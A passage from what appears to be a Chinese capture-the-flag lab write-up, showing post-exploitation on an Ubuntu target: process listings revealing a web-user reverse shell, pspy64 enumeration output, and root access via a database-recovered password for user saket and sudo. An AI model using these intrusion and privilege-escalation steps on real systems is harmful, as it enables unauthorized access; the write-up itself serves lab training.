gdm         1355       1  0 05:08 tty1     00:00:00 /usr/libexec/ibus-portal
colord      1363       1  0 05:08 ?        00:00:00 /usr/libexec/colord
gdm         1365    1343  0 05:08 tty1     00:00:00 /usr/libexec/ibus-engine-sim
www-data    1756     891  0 05:22 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1757     891  0 05:22 ?        00:00:00 /usr/sbin/apache2 -k start
root        1759       2  0 05:22 ?        00:00:03 [kworker/1:2-events]
www-data    1776     891  0 05:33 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1777     891  0 05:33 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1780     891  0 05:33 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1784     891  0 05:36 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1785     891  0 05:36 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    2248     913  0 06:46 ?        00:00:00 sh -c uname -a; w; id; /bin/
www-data    2252    2248  0 06:46 ?        00:00:00 /bin/sh -i
www-data    2259    2252  0 06:59 ?        00:00:00 script -q /dev/null
www-data    2260    2259  0 06:59 pts/0    00:00:00 bash -i
root        2350       2  0 07:09 ?        00:00:00 [kworker/0:1-events]
root        2351       2  0 07:09 ?        00:00:00 [kworker/0:3-events]
root        2352       2  0 07:09 ?        00:00:00 [kworker/u4:2-events_unbound
root        2358       2  0 07:16 ?        00:00:00 [kworker/u4:0-events_unbound
root        2363       2  0 07:16 ?        00:00:00 [kworker/1:1-events]
root        2446       2  0 07:29 ?        00:00:00 [kworker/1:0]
root        2448       2  0 07:29 ?        00:00:00 [kworker/u4:1-events_unbound
www-data    2453    2260  0 07:30 pts/0    00:00:00 ps -ef
www-data@ubuntu:/tmp$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██?  ██??██    ? ▓██?  ██??██  ██?
    ▓██? ██▓?? ▓██▄   ▓██? ██▓? ?██ ██?
    ?██▄█▓? ?  ?   ██??██▄█▓? ? ? ?██▓?
    ?██? ?  ??██████???██? ?  ? ? ██?▓?
    ?▓?? ?  ?? ?▓? ? ??▓?? ?  ?  ██??? 
    ?? ?     ? ??  ? ??? ?     ▓██ ??? 
    ??       ?  ?  ?  ??       ? ? ??  
                   ?           ? ?     
                               ? ?     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/11/15 07:35:45 CMD: UID=33    PID=2488   | ./pspy64 
2023/11/15 07:35:45 CMD: UID=33    PID=2486   | bash -i 
2023/11/15 07:35:45 CMD: UID=33    PID=2485   | script -q /dev/null 
2023/11/15 07:35:45 CMD: UID=33    PID=2484   | /bin/sh -i 
2023/11/15 07:35:45 CMD: UID=33    PID=2480   | sh -c uname -a; w; id; /bin/sh -i 
2023/11/15 07:35:45 CMD: UID=33    PID=2479   | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=33    PID=2478   | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=33    PID=2477   | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=33    PID=2476   | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=33    PID=2475   | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=33    PID=2474   | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=33    PID=2473   | /usr/sbin/apache2 -k start 
......
2023/11/15 07:35:45 CMD: UID=125   PID=1365   | /usr/libexec/ibus-engine-simple 
2023/11/15 07:35:45 CMD: UID=121   PID=1363   | /usr/libexec/colord 
2023/11/15 07:35:45 CMD: UID=125   PID=1355   | /usr/libexec/ibus-portal 
2023/11/15 07:35:45 CMD: UID=125   PID=1350   | /usr/libexec/ibus-x11 --kill-daemon 
2023/11/15 07:35:45 CMD: UID=125   PID=1348   | /usr/libexec/ibus-memconf 
2023/11/15 07:35:45 CMD: UID=125   PID=1343   | ibus-daemon --panel disable -r --xim 
2023/11/15 07:35:45 CMD: UID=125   PID=1298   | /usr/libexec/gsd-printer 
2023/11/15 07:35:45 CMD: UID=125   PID=1273   | /usr/libexec/gsd-power 
2023/11/15 07:35:45 CMD: UID=125   PID=1267   | /usr/libexec/gsd-housekeeping 
2023/11/15 07:35:45 CMD: UID=125   PID=1264   | /usr/libexec/gsd-a11y-settings 
2023/11/15 07:35:45 CMD: UID=125   PID=1263   | /usr/libexec/gsd-sound 
2023/11/15 07:35:45 CMD: UID=125   PID=1260   | /usr/libexec/gsd-screensaver-proxy 
2023/11/15 07:35:45 CMD: UID=125   PID=1248   | /usr/libexec/gsd-media-keys 
2023/11/15 07:35:45 CMD: UID=125   PID=1245   | /usr/libexec/gsd-datetime 
2023/11/15 07:35:45 CMD: UID=125   PID=1243   | /usr/libexec/gsd-smartcard 
2023/11/15 07:35:45 CMD: UID=125   PID=1242   | /usr/libexec/gsd-rfkill 
2023/11/15 07:35:45 CMD: UID=125   PID=1235   | /usr/libexec/gsd-print-notifications 
2023/11/15 07:35:45 CMD: UID=125   PID=1228   | /usr/libexec/gsd-keyboard 
2023/11/15 07:35:45 CMD: UID=125   PID=1227   | /usr/libexec/gsd-color 
2023/11/15 07:35:45 CMD: UID=125   PID=1225   | /usr/libexec/gsd-wacom 
2023/11/15 07:35:45 CMD: UID=125   PID=1224   | /usr/libexec/gsd-sharing 
2023/11/15 07:35:45 CMD: UID=125   PID=1223   | /usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications 
2023/11/15 07:35:45 CMD: UID=125   PID=1220   | /usr/libexec/at-spi2-registryd --use-gnome-session 
2023/11/15 07:35:45 CMD: UID=125   PID=1207   | /usr/libexec/xdg-permission-store 
2023/11/15 07:35:45 CMD: UID=125   PID=1191   | /usr/bin/Xwayland :1024 -rootless -noreset -accessx -core -auth /run/user/125/.mutter-Xwaylandauth.CU7AE2 -listen 4 -listen 5 -displayfd 6 -listen 7 
2023/11/15 07:35:45 CMD: UID=125   PID=1188   | /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3 
2023/11/15 07:35:45 CMD: UID=125   PID=1183   | /usr/libexec/at-spi-bus-launcher 
2023/11/15 07:35:45 CMD: UID=0     PID=1121   | /usr/lib/upower/upowerd 
2023/11/15 07:35:45 CMD: UID=125   PID=1117   | /usr/libexec/gvfs-gphoto2-volume-monitor 
2023/11/15 07:35:45 CMD: UID=125   PID=1108   | /usr/libexec/gvfs-afc-volume-monitor 
2023/11/15 07:35:45 CMD: UID=125   PID=1106   | /usr/libexec/goa-identity-service 
2023/11/15 07:35:45 CMD: UID=125   PID=1078   | /usr/bin/gnome-shell 
2023/11/15 07:35:45 CMD: UID=125   PID=1071   | /usr/libexec/goa-daemon 
2023/11/15 07:35:45 CMD: UID=125   PID=1056   | /usr/libexec/gvfs-goa-volume-monitor 
2023/11/15 07:35:45 CMD: UID=125   PID=1052   | /usr/libexec/gvfs-mtp-volume-monitor 
2023/11/15 07:35:45 CMD: UID=125   PID=1031   | /usr/libexec/gvfs-udisks2-volume-monitor 
2023/11/15 07:35:45 CMD: UID=125   PID=1022   | /usr/libexec/gvfsd-fuse /run/user/125/gvfs -f -o big_writes 
2023/11/15 07:35:45 CMD: UID=125   PID=1016   | /usr/libexec/gvfsd 
2023/11/15 07:35:45 CMD: UID=125   PID=1006   | /usr/libexec/gnome-session-binary --systemd --autostart /usr/share/gdm/greeter/autostart 
2023/11/15 07:35:45 CMD: UID=125   PID=1004   | dbus-daemon --nofork --print-address 4 --session 
2023/11/15 07:35:45 CMD: UID=125   PID=1003   | dbus-run-session -- gnome-session --autostart /usr/share/gdm/greeter/autostart 
2023/11/15 07:35:45 CMD: UID=111   PID=994    | /usr/libexec/rtkit-daemon 
2023/11/15 07:35:45 CMD: UID=125   PID=981    | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/11/15 07:35:45 CMD: UID=125   PID=978    | /usr/lib/gdm3/gdm-wayland-session dbus-run-session -- gnome-session --autostart /usr/share/gdm/greeter/autostart 
2023/11/15 07:35:45 CMD: UID=125   PID=977    | /usr/libexec/tracker-miner-fs 
2023/11/15 07:35:45 CMD: UID=125   PID=975    | /usr/bin/pulseaudio --daemonize=no --log-target=journal 
2023/11/15 07:35:45 CMD: UID=126   PID=960    | /usr/sbin/mysqld 
2023/11/15 07:35:45 CMD: UID=125   PID=895    | (sd-pam) 
2023/11/15 07:35:45 CMD: UID=125   PID=894    | /lib/systemd/systemd --user 
2023/11/15 07:35:45 CMD: UID=0     PID=891    | /usr/sbin/apache2 -k start 
2023/11/15 07:35:45 CMD: UID=116   PID=845    | /usr/sbin/kerneloops 
2023/11/15 07:35:45 CMD: UID=116   PID=842    | /usr/sbin/kerneloops --test 
2023/11/15 07:35:45 CMD: UID=33    PID=839    | php-fpm: pool www                                                             
2023/11/15 07:35:45 CMD: UID=33    PID=838    | php-fpm: pool www                                                             
2023/11/15 07:35:45 CMD: UID=120   PID=833    | /usr/bin/whoopsie -f 
2023/11/15 07:35:45 CMD: UID=0     PID=820    | gdm-session-worker [pam/gdm-launch-environment] 
2023/11/15 07:35:45 CMD: UID=0     PID=795    | /usr/sbin/gdm3 
2023/11/15 07:35:45 CMD: UID=0     PID=754    | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 
2023/11/15 07:35:45 CMD: UID=0     PID=752    | php-fpm: master process (/etc/php/8.0/fpm/php-fpm.conf)                       
2023/11/15 07:35:45 CMD: UID=0     PID=745    | /usr/sbin/ModemManager --filter-policy=strict 
2023/11/15 07:35:45 CMD: UID=0     PID=740    | /usr/sbin/cups-browsed 
2023/11/15 07:35:45 CMD: UID=0     PID=729    | /usr/sbin/cupsd -l 
2023/11/15 07:35:45 CMD: UID=115   PID=655    | avahi-daemon: chroot helper 
2023/11/15 07:35:45 CMD: UID=0     PID=647    | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant 
2023/11/15 07:35:45 CMD: UID=0     PID=646    | /usr/lib/udisks2/udisksd 
2023/11/15 07:35:45 CMD: UID=0     PID=644    | /lib/systemd/systemd-logind 
2023/11/15 07:35:45 CMD: UID=0     PID=642    | /usr/libexec/switcheroo-control 
2023/11/15 07:35:45 CMD: UID=0     PID=640    | /usr/lib/snapd/snapd 
2023/11/15 07:35:45 CMD: UID=104   PID=639    | /usr/sbin/rsyslogd -n -iNONE 
2023/11/15 07:35:45 CMD: UID=0     PID=637    | /usr/lib/policykit-1/polkitd --no-debug 
2023/11/15 07:35:45 CMD: UID=0     PID=635    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers 
2023/11/15 07:35:45 CMD: UID=0     PID=632    | /usr/sbin/irqbalance --foreground 
2023/11/15 07:35:45 CMD: UID=0     PID=623    | /usr/sbin/NetworkManager --no-daemon 
2023/11/15 07:35:45 CMD: UID=103   PID=622    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/11/15 07:35:45 CMD: UID=0     PID=620    | /usr/sbin/cron -f 
2023/11/15 07:35:45 CMD: UID=115   PID=619    | avahi-daemon: running [ubuntu.local] 
2023/11/15 07:35:45 CMD: UID=0     PID=613    | /usr/sbin/acpid 
2023/11/15 07:35:45 CMD: UID=0     PID=612    | /usr/lib/accountsservice/accounts-daemon 
2023/11/15 07:35:45 CMD: UID=102   PID=578    | /lib/systemd/systemd-timesyncd 
2023/11/15 07:35:45 CMD: UID=101   PID=577    | /lib/systemd/systemd-resolved 
......
2023/11/15 07:35:45 CMD: UID=0     PID=350    | /lib/systemd/systemd-udevd 
......
2023/11/15 07:35:45 CMD: UID=0     PID=318    | /lib/systemd/systemd-journald 
......
2023/11/15 07:35:45 CMD: UID=0     PID=1      | /sbin/init auto noprompt

7.4、没啥东西,地毯式搜索

那也啥也没有。。。

8、越权

利用上面数据库获取的用户密码登录:

www-data@ubuntu:/$ su saket
su saket
Password: Saket@#$1337

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

saket@ubuntu:/$
  • 根据登录提示,优先执行:
saket@ubuntu:/$ sudo -l
sudo -l
Matching Defaults entries for saket on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saket may run the following commands on ubuntu:
    (ALL : ALL) ALL
saket@ubuntu:/$ sudo su     
sudo su
root@ubuntu:/# 

文章来源:https://blog.csdn.net/weixin_43094965/article/details/135159485
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